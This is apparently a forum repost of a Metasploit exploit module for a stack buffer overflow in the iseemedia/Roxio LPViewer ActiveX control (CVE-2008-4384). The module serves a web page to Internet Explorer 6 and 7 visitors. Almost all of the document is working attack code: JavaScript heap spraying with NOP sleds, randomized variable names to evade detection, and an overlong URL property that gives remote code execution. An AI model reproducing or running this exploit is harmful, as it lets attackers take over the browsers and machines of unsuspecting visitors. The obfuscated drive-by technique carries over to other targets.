Exploit iseemedia / Roxio / MGI Software LPViewer - ActiveX Control Buffer Overflow (Metasploit)

Exploiter · 21 Дек 2022

Код:

##
# $Id: lpviewer_url.rb 9262 2010-05-09 17:45:00Z jduck $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
	Rank = NormalRanking

	include Msf::Exploit::Remote::HttpServer::HTML

	def initialize(info = {})
		super(update_info(info,
			'Name'           => 'iseemedia / Roxio / MGI Software LPViewer ActiveX Control Buffer Overflow',
			'Description'    => %q{
					This module exploits a stack buffer overflow in LPViewer ActiveX control (LPControll.dll 3.2.0.2). When
				sending an overly long string to the URL() property an attacker may be able to execute arbitrary code.
			},
			'License'        => MSF_LICENSE,
			'Author'         => [ 'MC' ],
			'Version'        => '$Revision: 9262 $',
			'References'     =>
				[
					[ 'CVE', '2008-4384' ],
					[ 'OSVDB', '48946' ],
					[ 'US-CERT-VU', '848873' ],
					[ 'BID', '31604' ],
				],
			'DefaultOptions' =>
				{
					'EXITFUNC' => 'process',
				},
			'Payload'        =>
				{
					'Space'         => 1024,
					'BadChars'      => "\x00",
				},
			'Platform'       => 'win',
			'Targets'        =>
				[
					[ 'Windows XP SP0-SP3 / Windows Vista / IE 6.0 SP0-SP2 / IE 7', { 'Ret' => 0x0C0C0C0C } ]
				],
			'DisclosureDate' => 'Oct 6 2008',
			'DefaultTarget'  => 0))
	end

	def autofilter
		false
	end

	def check_dependencies
		use_zlib
	end

	def on_request_uri(cli, request)
		# Re-generate the payload.
		return if ((p = regenerate_payload(cli)) == nil)

		# Encode the shellcode.
		shellcode = Rex::Text.to_unescape(payload.encoded, Rex::Arch.endian(target.arch))

		# Create some nops.
		nops    = Rex::Text.to_unescape(make_nops(4))

		# Set the return.
		ret     = Rex::Text.uri_encode([target.ret].pack('L'))

		# Randomize the javascript variable names.
		vname  = rand_text_alpha(rand(100) + 1)
		var_i  = rand_text_alpha(rand(30)  + 2)
		rand1  = rand_text_alpha(rand(100) + 1)
		rand2  = rand_text_alpha(rand(100) + 1)
		rand3  = rand_text_alpha(rand(100) + 1)
		rand4  = rand_text_alpha(rand(100) + 1)
		rand5  = rand_text_alpha(rand(100) + 1)
		rand6  = rand_text_alpha(rand(100) + 1)
		rand7  = rand_text_alpha(rand(100) + 1)
		rand8  = rand_text_alpha(rand(100) + 1)

		content = %Q|
	<html>
	<head>
		<script>
		try {
			var #{vname} = new ActiveXObject('LPViewer.LPViewer.1');
			var #{rand1} = unescape('#{shellcode}');
			var #{rand2} = unescape('#{nops}');
			var #{rand3} = 20;
			var #{rand4} = #{rand3} + #{rand1}.length;
			while (#{rand2}.length < #{rand4}) #{rand2} += #{rand2};
			var #{rand5} = #{rand2}.substring(0,#{rand4});
			var #{rand6} = #{rand2}.substring(0,#{rand2}.length - #{rand4});
			while (#{rand6}.length + #{rand4} < 0x40000) #{rand6} = #{rand6} + #{rand6} + #{rand5};
			var #{rand7} = new Array();
			for (#{var_i} = 0; #{var_i} < 400; #{var_i}++){ #{rand7}[#{var_i}] = #{rand6} + #{rand1} }
			var #{rand8} = "";
			for (#{var_i} = 0; #{var_i} < 1224; #{var_i}++) { #{rand8} = #{rand8} + unescape('#{ret}') }
			#{vname}.URL = #{rand8};
			} catch( e ) { window.location = 'about:blank' ; }
		</script>
	</head>
	</html>
				|

		content = Rex::Text.randomize_space(content)

		print_status("Sending #{self.name} to #{cli.peerhost}:#{cli.peerport}...")

		# Transmit the response to the client
		send_response_html(cli, content)

		# Handle the payload
		handler(cli)
	end

end

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Exploit iseemedia / Roxio / MGI Software LPViewer - ActiveX Control Buffer Overflow (Metasploit)

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